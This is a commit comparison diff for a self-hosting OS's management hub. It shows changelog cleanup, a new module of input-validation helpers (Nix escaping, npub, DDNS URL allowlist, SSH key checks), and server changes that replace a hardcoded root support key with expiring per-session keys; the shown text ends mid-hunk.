Compare commits
83
Commits
v1.0.6
...
1b43a34e9c
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1b43a34e9c | ||
|
|
3f233beea0 | ||
|
|
947c04834d | ||
|
|
894707a87c | ||
|
|
43fc01d350 | ||
|
|
1f0a1ab865 | ||
|
|
79f3e8efd8 | ||
|
|
ff6abf3b8e | ||
|
|
a111de1ece | ||
|
|
9b77b04741 | ||
|
|
f2ad9c1f17 | ||
|
|
590ed134b7 | ||
|
|
cc438aa524 | ||
|
|
0d0a1888f9 | ||
|
|
14b8258420 | ||
|
|
09b34997e4 | ||
|
|
a372b88488 | ||
|
|
7716c950cd | ||
|
|
2c223d1166 | ||
|
|
503bd2467d | ||
|
|
57070644cc | ||
|
|
1b6b1ade46 | ||
|
|
a7b149f58a | ||
|
|
90f89f14ba | ||
|
|
dcfee1fb32 | ||
|
|
05a42bcc4b | ||
|
|
9befcd06e6 | ||
|
|
c9169164b5 | ||
|
|
cb84ca839f | ||
|
|
6d59441b13 | ||
|
|
5475e33d08 | ||
|
|
88896f00c4 | ||
|
|
cb2d6de0ef | ||
|
|
c2dce6cf94 | ||
|
|
7879a2771d | ||
|
|
820d850d00 | ||
|
|
d733187ec5 | ||
|
|
f7b1f42e0e | ||
|
|
03fb7791eb | ||
|
|
953cacc72c | ||
|
|
6021691b3f | ||
|
|
4d8bb06d41 | ||
|
|
b96d2bcb24 | ||
|
|
228a48af03 | ||
|
|
0df4cde9b8 | ||
|
|
a37b1a91bf | ||
|
|
ebcc086a7e | ||
|
|
dcc9e4904e | ||
|
|
fd209254a2 | ||
|
|
a68130625e | ||
|
|
7b04adbbe6 | ||
|
|
2c6ef7b60e | ||
|
|
179fc501f9 | ||
|
|
8bcabe2aa1 | ||
|
|
5d5e369411 | ||
|
|
425a1845b4 | ||
|
|
546dacf396 | ||
|
|
17c0db8290 | ||
|
|
dac733de9a | ||
|
|
3baf504c60 | ||
|
|
f220b93b12 | ||
|
|
b2a5233653 | ||
|
|
2bb5c50196 | ||
|
|
80c4b052a0 | ||
|
|
2accada021 | ||
|
|
a6296b9473 | ||
|
|
5173fb3df6 | ||
|
|
147afcc4ac | ||
|
|
2e35539ae6 | ||
|
|
31cd5f96f2 | ||
|
|
90262e672e | ||
|
|
1fbeafd02f | ||
|
|
953cedce3f | ||
|
|
58d7e21d28 | ||
|
|
9f7dcfa6de | ||
|
|
6c2c69d18a | ||
|
|
6b9c68e3b2 | ||
|
|
4b511348ae | ||
|
|
81946895db | ||
|
|
a10ef95b5c | ||
|
|
278d480653 | ||
|
|
b64061135a | ||
|
|
825c3fbb4b |
No files matched your search
+1
-44
@@ -51,50 +51,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
- Clarify GitHub is the dev mirror of the Gitea stable repo
|
||||
[1.0.6]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.6
|
||||
|
||||
|
||||
## [1.0.6] - 2026-08-07
|
||||
|
||||
### Added
|
||||
- Iso: fix replaceStrings length mismatch in cleanVersion
|
||||
- Promote virtual machine trial option in README
|
||||
- Improve installer VM compatibility
|
||||
- Trim redundant dev-vs-stable Gitea explanations in README
|
||||
- Add Arean.Ai to AI tools used for development
|
||||
- Prefix OS version badge with 'v' (v1.0.5)
|
||||
- Match OS version badge styling to service modal version badges
|
||||
- Place OS version badge inline right after the Hub title
|
||||
- Center OS version badge under the Hub title
|
||||
- Strengthen entropy section: add DYOR emphasis and hardware wallet verification note
|
||||
- Add 'About Bitcoin wallet entropy' section to README
|
||||
- README: balance intro between Bitcoin sovereignty and sovereign computing
|
||||
|
||||
### Changed
|
||||
- Removed temp patch file
|
||||
|
||||
### Fixed
|
||||
- Harden error handling and sanitize exception details across security endpoints (CWE-209)
|
||||
- Sanitize exception handling in verify-integrity and security-reset (CWE-209)
|
||||
- Sanitize api_security_reset errors to prevent exception information exposure (CWE-209)
|
||||
- Use canonical prefix containment check for CodeQL path-injection
|
||||
- Pass sanitized abs_path to os.chown to resolve CodeQL path injection at 4338
|
||||
- Add CodeQL-recognized path sanitization for domain_name
|
||||
- Remove domain substring check for CodeQL incomplete-url
|
||||
- Use sentinel for njalla header check (CodeQL incomplete-url-substring)
|
||||
- Prevent reflected XSS in lnurl-qr print endpoint
|
||||
- Hash root password instead of storing in clear text (CWE-312)
|
||||
- Separate web auth hash from system password file
|
||||
- Fix Matrix Hub admin API credentials
|
||||
- Fix CWE-78: replace subprocess call with Synapse Admin API in create-user endpoint
|
||||
|
||||
### Documentation
|
||||
- Add SECURITY.md detailing security policy and best practices
|
||||
- Versioned CDN downloads + add CDN upload script
|
||||
- Correct active development workflow
|
||||
- Make repo references mirror-neutral for Gitea readers
|
||||
- Clarify GitHub is the dev mirror of the Gitea stable repo
|
||||
[1.0.6]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.6
|
||||
|
||||
|
||||
## [1.0.5] - 2026-08-04
|
||||
|
||||
### Added
|
||||
@@ -123,6 +79,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
## [Unreleased]
|
||||
|
||||
### Fixed
|
||||
- Report the version of the configured BTCPay Server package in the Hub instead of the different package version from unstable nixpkgs.
|
||||
- Installer VM compatibility: legacy BIOS VM boots now install with GRUB, UEFI VM installs avoid depending on NVRAM boot-entry writes, VM users get clearer disk/resource guidance, and the internet check falls back to HTTPS when ICMP is blocked.
|
||||
- **Manual Backup now matches the system role**: on the Desktop Only role the Hub's
|
||||
"What gets backed up" list no longer shows Node / Server + Desktop items
|
||||
|
||||
@@ -0,0 +1,241 @@
|
||||
"""Sovran Hub — pure security validation helpers.
|
||||
|
||||
This module contains the dependency-light security helper functions used by
|
||||
the Hub server. Keeping them here allows tests to import and exercise the
|
||||
exact production implementations rather than maintaining separate copies.
|
||||
|
||||
All functions in this module depend only on the Python standard library.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import ipaddress
|
||||
import re
|
||||
import urllib.parse
|
||||
|
||||
# ── Nix string escaping ────────────────────────────────────────────────────────
|
||||
|
||||
def _nix_escape(value: str) -> str:
|
||||
"""Escape *value* for use inside a Nix double-quoted string literal.
|
||||
|
||||
Handles backslashes, double-quotes, newlines, carriage returns, tabs, and
|
||||
Nix-specific anti-quotation sequences (``${...}``). The returned value is
|
||||
safe to embed as ``"<returned_value>"`` in generated Nix source.
|
||||
"""
|
||||
value = value.replace("\\", "\\\\")
|
||||
value = value.replace('"', '\\"')
|
||||
value = value.replace("\n", "\\n")
|
||||
value = value.replace("\r", "\\r")
|
||||
value = value.replace("\t", "\\t")
|
||||
value = value.replace("${", "\\${")
|
||||
return value
|
||||
|
||||
|
||||
# ── Nostr npub validation (NIP-19 / Bech32) ───────────────────────────────────
|
||||
|
||||
# Fast pre-filter: "npub1" followed by exactly 58 lower-case bech32 characters.
|
||||
NPUB_RE = re.compile(r"^npub1[023456789acdefghjklmnpqrstuvwxyz]{58}$")
|
||||
|
||||
_BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
|
||||
_BECH32_GENERATOR = (0x3B6A57B2, 0x26508E6D, 0x1EA119FA, 0x3D4233DD, 0x2A1462B3)
|
||||
|
||||
|
||||
def _bech32_polymod(values: list[int]) -> int:
|
||||
chk = 1
|
||||
for value in values:
|
||||
top = chk >> 25
|
||||
chk = ((chk & 0x1FFFFFF) << 5) ^ value
|
||||
for i in range(5):
|
||||
if (top >> i) & 1:
|
||||
chk ^= _BECH32_GENERATOR[i]
|
||||
return chk
|
||||
|
||||
|
||||
def _bech32_hrp_expand(hrp: str) -> list[int]:
|
||||
return [ord(c) >> 5 for c in hrp] + [0] + [ord(c) & 31 for c in hrp]
|
||||
|
||||
|
||||
def _bech32_create_checksum(hrp: str, data: list[int]) -> list[int]:
|
||||
values = _bech32_hrp_expand(hrp) + data
|
||||
polymod = _bech32_polymod(values + [0, 0, 0, 0, 0, 0]) ^ 1
|
||||
return [(polymod >> (5 * (5 - i))) & 31 for i in range(6)]
|
||||
|
||||
|
||||
def _bech32_convertbits_decode(data: list[int]) -> list[int] | None:
|
||||
"""Convert a 5-bit integer sequence to 8-bit bytes, stripping padding."""
|
||||
acc = 0
|
||||
bits = 0
|
||||
ret: list[int] = []
|
||||
for value in data:
|
||||
acc = (acc << 5) | value
|
||||
bits += 5
|
||||
while bits >= 8:
|
||||
bits -= 8
|
||||
ret.append((acc >> bits) & 0xFF)
|
||||
if bits >= 5 or ((acc << (8 - bits)) & 0xFF):
|
||||
return None # invalid padding
|
||||
return ret
|
||||
|
||||
|
||||
def _bech32_decode(bech: str) -> tuple[str, bytes] | None:
|
||||
"""Decode a bech32 string. Returns ``(hrp, payload_bytes)`` or ``None``.
|
||||
|
||||
Verifies:
|
||||
- Lowercase-only (mixed case rejected per BIP-173).
|
||||
- Only valid bech32 charset characters.
|
||||
- Valid checksum.
|
||||
- Exactly one separator (``1``).
|
||||
- Minimum data part length (≥ 8 chars = 6 checksum + ≥ 2 data).
|
||||
"""
|
||||
if bech != bech.lower():
|
||||
return None # mixed case
|
||||
sep = bech.rfind("1")
|
||||
if sep < 1 or sep + 7 > len(bech):
|
||||
return None
|
||||
hrp = bech[:sep]
|
||||
data_part = bech[sep + 1:]
|
||||
if any(c not in _BECH32_CHARSET for c in data_part):
|
||||
return None
|
||||
decoded = [_BECH32_CHARSET.index(c) for c in data_part]
|
||||
if _bech32_polymod(_bech32_hrp_expand(hrp) + decoded) != 1:
|
||||
return None # bad checksum
|
||||
converted = _bech32_convertbits_decode(decoded[:-6])
|
||||
if converted is None:
|
||||
return None
|
||||
return hrp, bytes(converted)
|
||||
|
||||
|
||||
def _validate_npub(value: str) -> bool:
|
||||
"""Return ``True`` iff *value* is a valid NIP-19 Nostr npub.
|
||||
|
||||
Checks:
|
||||
- Lowercase ``npub`` HRP.
|
||||
- Valid bech32 charset (no uppercase, no invalid chars).
|
||||
- Valid bech32 checksum.
|
||||
- Exactly 32 decoded payload bytes (256-bit public key).
|
||||
- Retains the original regex as a fast pre-filter.
|
||||
"""
|
||||
if not NPUB_RE.fullmatch(value):
|
||||
return False
|
||||
result = _bech32_decode(value)
|
||||
if result is None:
|
||||
return False
|
||||
hrp, payload = result
|
||||
return hrp == "npub" and len(payload) == 32
|
||||
|
||||
|
||||
# ── DDNS URL validation ────────────────────────────────────────────────────────
|
||||
|
||||
_DDNS_URL_MAX_LEN = 2048
|
||||
_DDNS_CONTROL_RE = re.compile(r"[\x00-\x1f\x7f]")
|
||||
|
||||
# Allowlist: only the official Njal.la provider hostnames are accepted for
|
||||
# DDNS update URLs. Any other host would allow SSRF against the Hub's
|
||||
# internal network.
|
||||
_DDNS_ALLOWED_HOSTNAMES: frozenset[str] = frozenset(["njal.la", "www.njal.la"])
|
||||
|
||||
|
||||
def _validate_ddns_url(url: str) -> str:
|
||||
"""Validate *url* as a safe DDNS update URL and return it normalised.
|
||||
|
||||
Rules:
|
||||
- Must be a valid URL parseable by urllib.parse.
|
||||
- Scheme must be ``https`` (case-insensitive).
|
||||
- No userinfo (credentials must not be embedded in the URL).
|
||||
- No fragment.
|
||||
- No control characters.
|
||||
- Must not exceed ``_DDNS_URL_MAX_LEN`` bytes.
|
||||
- Hostname must be the exact Njal.la provider hostname (njal.la or www.njal.la).
|
||||
- Port must be absent or the default HTTPS port 443.
|
||||
- No percent-encoded null bytes.
|
||||
|
||||
Raises ``ValueError`` with a safe (non-secret) message on failure.
|
||||
"""
|
||||
if not url:
|
||||
raise ValueError("DDNS URL must not be empty")
|
||||
if len(url) > _DDNS_URL_MAX_LEN:
|
||||
raise ValueError("DDNS URL exceeds maximum length")
|
||||
if _DDNS_CONTROL_RE.search(url):
|
||||
raise ValueError("DDNS URL contains control characters")
|
||||
try:
|
||||
parsed = urllib.parse.urlparse(url)
|
||||
except Exception:
|
||||
raise ValueError("DDNS URL could not be parsed")
|
||||
if parsed.scheme.lower() != "https":
|
||||
raise ValueError("DDNS URL must use the https scheme")
|
||||
if parsed.username or parsed.password:
|
||||
raise ValueError("DDNS URL must not contain credentials")
|
||||
if parsed.fragment:
|
||||
raise ValueError("DDNS URL must not contain a fragment")
|
||||
if parsed.port is not None and parsed.port != 443:
|
||||
raise ValueError("DDNS URL must use the default HTTPS port")
|
||||
hostname = parsed.hostname or ""
|
||||
if not hostname:
|
||||
raise ValueError("DDNS URL must contain a hostname")
|
||||
# Reject raw IP addresses
|
||||
try:
|
||||
ipaddress.ip_address(hostname)
|
||||
raise ValueError("DDNS URL hostname must not be a raw IP address")
|
||||
except ValueError as exc:
|
||||
if "raw IP" in str(exc):
|
||||
raise
|
||||
# Allowlist: only Njal.la
|
||||
if hostname.lower() not in _DDNS_ALLOWED_HOSTNAMES:
|
||||
raise ValueError(
|
||||
f"DDNS URL hostname is not an allowed Njal.la host "
|
||||
f"(got {hostname!r})"
|
||||
)
|
||||
if "%00" in url.lower():
|
||||
raise ValueError("DDNS URL must not contain encoded null bytes")
|
||||
# Reject any remaining $ expressions — after ${IP} substitution there
|
||||
# must be none. Callers that store ${IP} placeholder URLs must substitute
|
||||
# before calling this function.
|
||||
if "$" in url:
|
||||
raise ValueError("DDNS URL must not contain $ expressions")
|
||||
# Require the exact /update/ path used by Njal.la
|
||||
if parsed.path != "/update/":
|
||||
raise ValueError("DDNS URL path must be exactly /update/")
|
||||
return url
|
||||
|
||||
|
||||
# ── SSH public-key validation ─────────────────────────────────────────────────
|
||||
|
||||
_SSH_PUBKEY_ALGORITHMS = frozenset([
|
||||
"ssh-ed25519",
|
||||
"ecdsa-sha2-nistp256",
|
||||
"ecdsa-sha2-nistp384",
|
||||
"ecdsa-sha2-nistp521",
|
||||
"sk-ssh-ed25519@openssh.com",
|
||||
])
|
||||
|
||||
|
||||
def _validate_ssh_pubkey(key: str) -> str:
|
||||
"""Validate *key* as a single OpenSSH public key and return it normalised.
|
||||
|
||||
Accepts only single-line keys with a supported algorithm, valid base64
|
||||
payload, and an optional comment. Rejects options, multiple lines,
|
||||
control characters, and unsupported algorithms.
|
||||
|
||||
Raises ``ValueError`` with a safe message on failure.
|
||||
"""
|
||||
key = key.strip()
|
||||
if not key:
|
||||
raise ValueError("SSH public key must not be empty")
|
||||
if _DDNS_CONTROL_RE.search(key):
|
||||
raise ValueError("SSH public key contains control characters")
|
||||
if "\n" in key or "\r" in key:
|
||||
raise ValueError("SSH public key must be a single line")
|
||||
parts = key.split()
|
||||
if len(parts) < 2:
|
||||
raise ValueError("SSH public key is malformed")
|
||||
algo, b64 = parts[0], parts[1]
|
||||
if algo not in _SSH_PUBKEY_ALGORITHMS:
|
||||
raise ValueError(f"Unsupported SSH key algorithm: {algo!r}")
|
||||
try:
|
||||
decoded = base64.b64decode(b64, validate=True)
|
||||
except Exception:
|
||||
raise ValueError("SSH public key payload is not valid base64")
|
||||
if len(decoded) < 20:
|
||||
raise ValueError("SSH public key payload is too short")
|
||||
return key
|
||||
+348
-137
@@ -19,10 +19,12 @@ import shutil
|
||||
import socket
|
||||
import subprocess
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
import uuid
|
||||
from threading import Lock
|
||||
|
||||
from fastapi import FastAPI, HTTPException
|
||||
@@ -37,6 +39,20 @@ from starlette.middleware.base import BaseHTTPMiddleware
|
||||
from .config import load_config, load_versions
|
||||
from . import systemctl as sysctl
|
||||
from . import nwc_hub_manager as _nwc_mgr
|
||||
from . import support_ops as _support_ops
|
||||
from .security_helpers import (
|
||||
_nix_escape,
|
||||
NPUB_RE,
|
||||
_validate_npub,
|
||||
_validate_ddns_url,
|
||||
_validate_ssh_pubkey,
|
||||
_DDNS_URL_MAX_LEN,
|
||||
_DDNS_CONTROL_RE,
|
||||
_DDNS_ALLOWED_HOSTNAMES,
|
||||
_SSH_PUBKEY_ALGORITHMS,
|
||||
_bech32_decode,
|
||||
_bech32_convertbits_decode,
|
||||
)
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -82,6 +98,10 @@ HUB_END = " # ── End Hub Managed ────────────
|
||||
DOMAINS_DIR = "/var/lib/domains"
|
||||
NOSTR_NPUB_FILE = "/var/lib/secrets/nostr_npub"
|
||||
NJALLA_SCRIPT = "/var/lib/njalla/njalla.sh"
|
||||
NJALLA_DDNS_URLS_FILE = "/var/lib/njalla/ddns_urls.json"
|
||||
|
||||
# Nostr npub validation, SSH pubkey validation, DDNS URL validation, and
|
||||
# Nix escaping are imported from security_helpers (single source of truth).
|
||||
|
||||
# Systemd service that rewrites the Sovran-managed /etc/hosts loopback block
|
||||
SOVRAN_HOSTS_SERVICE = "sovran-hosts-update.service"
|
||||
@@ -123,7 +143,7 @@ LOGIN_FAIL_WINDOW = 60.0 # rolling window (seconds) for counting failures
|
||||
LOGIN_FAIL_MAX = 10 # max failures in window before extra delay
|
||||
|
||||
# Public paths that are accessible without a valid session
|
||||
_AUTH_EXEMPT_PATHS = {"/login", "/api/login", "/api/updates/status", "/api/rebuild/status", "/auto-login", "/api/ping", "/api/reboot"}
|
||||
_AUTH_EXEMPT_PATHS = {"/login", "/api/login", "/auto-login", "/api/ping"}
|
||||
# Prefixes for static assets required by the login page
|
||||
_AUTH_EXEMPT_PREFIXES = (
|
||||
"/static/css/",
|
||||
@@ -140,11 +160,13 @@ SUPPORT_KEY_FILE = "/root/.ssh/sovran_support_authorized"
|
||||
AUTHORIZED_KEYS = "/root/.ssh/authorized_keys"
|
||||
SUPPORT_STATUS_FILE = "/var/lib/secrets/support-session-status"
|
||||
|
||||
# Sovran Systems tech support public key
|
||||
SOVRAN_SUPPORT_PUBKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP free@nixos"
|
||||
|
||||
SUPPORT_KEY_COMMENT = "sovransystemsos-support"
|
||||
|
||||
# Maximum duration for a support session in seconds (24 hours).
|
||||
# After this time the session is automatically expired on startup and on any
|
||||
# support status/wallet operation.
|
||||
SUPPORT_SESSION_MAX_SECONDS = 86400 # 24 hours
|
||||
|
||||
# Dedicated restricted support user (non-root) for wallet privacy
|
||||
SUPPORT_USER = "sovran-support"
|
||||
SUPPORT_USER_HOME = "/var/lib/sovran-support"
|
||||
@@ -166,6 +188,11 @@ PROTECTED_WALLET_PATHS: list[str] = [
|
||||
"/home",
|
||||
]
|
||||
|
||||
# Server-side independent expiry timer for the active support session.
|
||||
# Scheduled when a session is enabled; cancelled when disabled.
|
||||
_support_expiry_timer: threading.Timer | None = None
|
||||
_support_expiry_timer_lock = Lock()
|
||||
|
||||
CATEGORY_ORDER = [
|
||||
("infrastructure", "Infrastructure"),
|
||||
("bitcoin-base", "Bitcoin Base"),
|
||||
@@ -1847,11 +1874,11 @@ def _write_hub_overrides(features: dict, nostr_npub: str | None, timezone: str |
|
||||
else:
|
||||
lines.append(f" sovran_systemsOS.features.{feat_id} = lib.mkForce {val};")
|
||||
if nostr_npub:
|
||||
lines.append(f' sovran_systemsOS.nostr_npub = lib.mkForce "{nostr_npub}";')
|
||||
lines.append(f' sovran_systemsOS.nostr_npub = lib.mkForce "{_nix_escape(nostr_npub)}";')
|
||||
if timezone:
|
||||
lines.append(f' time.timeZone = lib.mkForce "{timezone}";')
|
||||
lines.append(f' time.timeZone = lib.mkForce "{_nix_escape(timezone)}";')
|
||||
if locale:
|
||||
lines.append(f' i18n.defaultLocale = lib.mkForce "{locale}";')
|
||||
lines.append(f' i18n.defaultLocale = lib.mkForce "{_nix_escape(locale)}";')
|
||||
hub_block = (
|
||||
HUB_BEGIN + "\n"
|
||||
+ "\n".join(lines) + ("\n" if lines else "")
|
||||
@@ -1882,8 +1909,20 @@ def _write_hub_overrides(features: dict, nostr_npub: str | None, timezone: str |
|
||||
return
|
||||
content = content[:last_brace] + "\n" + hub_block + content[last_brace:]
|
||||
|
||||
with open(CUSTOM_NIX, "w") as f:
|
||||
f.write(content)
|
||||
# Atomic write: write to a temp file next to custom.nix then rename so the
|
||||
# file is never left in a partially-written state if the process is killed.
|
||||
nix_dir = os.path.dirname(CUSTOM_NIX) or "."
|
||||
fd, tmp_path = tempfile.mkstemp(dir=nix_dir, prefix=".custom_nix_tmp")
|
||||
try:
|
||||
with os.fdopen(fd, "w") as f:
|
||||
f.write(content)
|
||||
os.replace(tmp_path, CUSTOM_NIX)
|
||||
except Exception:
|
||||
try:
|
||||
os.unlink(tmp_path)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
|
||||
|
||||
def _migrate_strip_deprecated_features() -> None:
|
||||
@@ -1949,23 +1988,32 @@ def _is_sshd_feature_enabled() -> bool:
|
||||
# ── Tech Support helpers ──────────────────────────────────────────
|
||||
|
||||
def _is_support_active() -> bool:
|
||||
"""Check if the support key is currently in authorized_keys or support user's authorized_keys."""
|
||||
# Check support user's authorized_keys first
|
||||
"""Check if a per-session support key is currently installed."""
|
||||
_expire_support_if_stale()
|
||||
try:
|
||||
with open(SUPPORT_USER_AUTH_KEYS, "r") as f:
|
||||
if SUPPORT_KEY_COMMENT in f.read():
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
# Fall back to root authorized_keys
|
||||
try:
|
||||
with open(AUTHORIZED_KEYS, "r") as f:
|
||||
content = f.read()
|
||||
return SUPPORT_KEY_COMMENT in content
|
||||
return bool(f.read().strip())
|
||||
except FileNotFoundError:
|
||||
return False
|
||||
|
||||
|
||||
def _expire_support_if_stale() -> bool:
|
||||
"""If an active support session has passed its expiry time, disable it.
|
||||
|
||||
Returns ``True`` if a session was expired, ``False`` otherwise.
|
||||
This is called automatically from ``_is_support_active()`` and from
|
||||
startup, so expiry is enforced even if the user never calls
|
||||
``/api/support/disable``.
|
||||
"""
|
||||
return _support_ops.expire_if_stale(
|
||||
SUPPORT_STATUS_FILE,
|
||||
clock_fn=time.time,
|
||||
disable_fn=_disable_support,
|
||||
audit_fn=_log_support_audit,
|
||||
max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
|
||||
)
|
||||
|
||||
|
||||
def _get_support_session_info() -> dict:
|
||||
"""Read support session metadata."""
|
||||
try:
|
||||
@@ -2116,60 +2164,104 @@ def _get_wallet_unlock_info() -> dict:
|
||||
return {}
|
||||
|
||||
|
||||
def _enable_support() -> bool:
|
||||
"""Add the Sovran support public key to the restricted support user's authorized_keys.
|
||||
# The exact base64 blob of the historical fleet-wide root support key is defined
|
||||
# in support_ops.LEGACY_ROOT_KEY_BLOB and used by _remove_legacy_root_support_key().
|
||||
|
||||
Falls back to root's authorized_keys if the support user cannot be created.
|
||||
Applies POSIX ACLs to wallet directories to prevent access by the support
|
||||
user without explicit user consent.
|
||||
|
||||
def _remove_legacy_root_support_key() -> bool:
|
||||
"""One-time upgrade migration: remove the exact historical fleet-wide support key.
|
||||
|
||||
Identifies the key by its exact base64 blob, regardless of algorithm prefix
|
||||
or comment field. All other keys, blank lines, and comment lines are
|
||||
preserved. The file is written atomically.
|
||||
|
||||
Returns ``True`` if the file was updated, ``False`` if unchanged or absent.
|
||||
"""
|
||||
return _support_ops.remove_legacy_root_key(
|
||||
AUTHORIZED_KEYS,
|
||||
_support_ops.LEGACY_ROOT_KEY_BLOB,
|
||||
audit_fn=_log_support_audit,
|
||||
)
|
||||
|
||||
|
||||
def _enable_support(pubkey: str) -> bool:
|
||||
"""Install a per-session SSH public key for the restricted support user.
|
||||
|
||||
The key is written only to the ``sovran-support`` account's
|
||||
``authorized_keys`` (atomically); root's ``authorized_keys`` is never
|
||||
modified. Applies POSIX ACLs to wallet directories to prevent access by
|
||||
the support user without explicit user consent.
|
||||
|
||||
Args:
|
||||
pubkey: A validated Ed25519/ECDSA OpenSSH public key string (single line).
|
||||
"""
|
||||
try:
|
||||
use_restricted_user = _ensure_support_user()
|
||||
|
||||
if use_restricted_user:
|
||||
os.makedirs(SUPPORT_USER_SSH_DIR, mode=0o700, exist_ok=True)
|
||||
with open(SUPPORT_USER_AUTH_KEYS, "w") as f:
|
||||
f.write(SOVRAN_SUPPORT_PUBKEY + "\n")
|
||||
os.chmod(SUPPORT_USER_AUTH_KEYS, 0o600)
|
||||
# Atomic write: mkstemp + os.replace
|
||||
fd, tmp_keys = tempfile.mkstemp(
|
||||
dir=SUPPORT_USER_SSH_DIR, prefix=".authorized_keys_tmp"
|
||||
)
|
||||
try:
|
||||
with os.fdopen(fd, "w") as f:
|
||||
f.write(pubkey.strip() + "\n")
|
||||
os.chmod(tmp_keys, 0o600)
|
||||
try:
|
||||
pw = pwd.getpwnam(SUPPORT_USER)
|
||||
os.chown(tmp_keys, pw.pw_uid, pw.pw_gid)
|
||||
except Exception:
|
||||
pass
|
||||
os.replace(tmp_keys, SUPPORT_USER_AUTH_KEYS)
|
||||
except Exception:
|
||||
try:
|
||||
os.unlink(tmp_keys)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
try:
|
||||
pw = pwd.getpwnam(SUPPORT_USER)
|
||||
os.chown(SUPPORT_USER_AUTH_KEYS, pw.pw_uid, pw.pw_gid)
|
||||
os.chown(SUPPORT_USER_SSH_DIR, pw.pw_uid, pw.pw_gid)
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
# Fallback: add key to root's authorized_keys
|
||||
os.makedirs("/root/.ssh", mode=0o700, exist_ok=True)
|
||||
with open(SUPPORT_KEY_FILE, "w") as f:
|
||||
f.write(SOVRAN_SUPPORT_PUBKEY + "\n")
|
||||
os.chmod(SUPPORT_KEY_FILE, 0o600)
|
||||
|
||||
existing = ""
|
||||
try:
|
||||
with open(AUTHORIZED_KEYS, "r") as f:
|
||||
existing = f.read()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
if SUPPORT_KEY_COMMENT not in existing:
|
||||
with open(AUTHORIZED_KEYS, "a") as f:
|
||||
f.write(SOVRAN_SUPPORT_PUBKEY + "\n")
|
||||
os.chmod(AUTHORIZED_KEYS, 0o600)
|
||||
# Support user could not be created; fail closed rather than
|
||||
# falling back to root's authorized_keys.
|
||||
return False
|
||||
|
||||
acl_applied = _apply_wallet_acls() if use_restricted_user else False
|
||||
wallet_paths = _get_existing_wallet_paths()
|
||||
|
||||
session_id = str(uuid.uuid4())
|
||||
expires_at = time.time() + SUPPORT_SESSION_MAX_SECONDS
|
||||
session_info = {
|
||||
"session_id": session_id,
|
||||
"enabled_at": time.time(),
|
||||
"enabled_at_human": time.strftime("%Y-%m-%d %H:%M:%S %Z"),
|
||||
"expires_at": expires_at,
|
||||
"use_restricted_user": use_restricted_user,
|
||||
"wallet_protected": use_restricted_user,
|
||||
"acl_applied": acl_applied,
|
||||
"protected_paths": wallet_paths,
|
||||
}
|
||||
os.makedirs(os.path.dirname(SUPPORT_STATUS_FILE), exist_ok=True)
|
||||
with open(SUPPORT_STATUS_FILE, "w") as f:
|
||||
json.dump(session_info, f)
|
||||
# Atomic write of session metadata
|
||||
status_dir = os.path.dirname(SUPPORT_STATUS_FILE)
|
||||
os.makedirs(status_dir, exist_ok=True)
|
||||
fd2, tmp_status = tempfile.mkstemp(dir=status_dir, prefix=".support-session-tmp")
|
||||
try:
|
||||
with os.fdopen(fd2, "w") as f:
|
||||
json.dump(session_info, f)
|
||||
os.replace(tmp_status, SUPPORT_STATUS_FILE)
|
||||
except Exception:
|
||||
try:
|
||||
os.unlink(tmp_status)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
|
||||
# Schedule server-side independent expiry timer
|
||||
_schedule_expiry_timer(session_id, expires_at)
|
||||
|
||||
_log_support_audit(
|
||||
"SUPPORT_ENABLED",
|
||||
@@ -2181,27 +2273,62 @@ def _enable_support() -> bool:
|
||||
return False
|
||||
|
||||
|
||||
def _schedule_expiry_timer(session_id: str, expires_at: float) -> None:
|
||||
"""Schedule a server-side timer to expire the support session at ``expires_at``.
|
||||
|
||||
Cancels any previously scheduled timer first. The timer callback compares
|
||||
the stored session_id and expires_at to prevent a stale timer (for an
|
||||
older session) from revoking a replacement session.
|
||||
"""
|
||||
global _support_expiry_timer
|
||||
delay = max(0.0, expires_at - time.time())
|
||||
with _support_expiry_timer_lock:
|
||||
if _support_expiry_timer is not None:
|
||||
_support_expiry_timer.cancel()
|
||||
t = threading.Timer(delay, _auto_expire_support, args=[session_id, expires_at])
|
||||
t.daemon = True
|
||||
t.start()
|
||||
_support_expiry_timer = t
|
||||
|
||||
|
||||
def _cancel_expiry_timer() -> None:
|
||||
"""Cancel the active server-side support expiry timer if one is running."""
|
||||
global _support_expiry_timer
|
||||
with _support_expiry_timer_lock:
|
||||
if _support_expiry_timer is not None:
|
||||
_support_expiry_timer.cancel()
|
||||
_support_expiry_timer = None
|
||||
|
||||
|
||||
def _auto_expire_support(session_id: str, expected_expiry: float) -> None:
|
||||
"""Timer callback: expire the session only if it still matches session_id / expires_at.
|
||||
|
||||
A stale timer for an older session must never revoke a replacement session.
|
||||
"""
|
||||
_support_ops.expire_if_stale(
|
||||
SUPPORT_STATUS_FILE,
|
||||
clock_fn=time.time,
|
||||
disable_fn=_disable_support,
|
||||
audit_fn=_log_support_audit,
|
||||
session_id=session_id,
|
||||
expected_expiry=expected_expiry,
|
||||
max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
|
||||
)
|
||||
|
||||
|
||||
def _disable_support() -> bool:
|
||||
"""Remove the Sovran support public key and revoke all wallet access."""
|
||||
"""Remove the per-session support key and restore wallet protection."""
|
||||
try:
|
||||
# Cancel any pending expiry timer
|
||||
_cancel_expiry_timer()
|
||||
|
||||
# Remove from support user's authorized_keys
|
||||
try:
|
||||
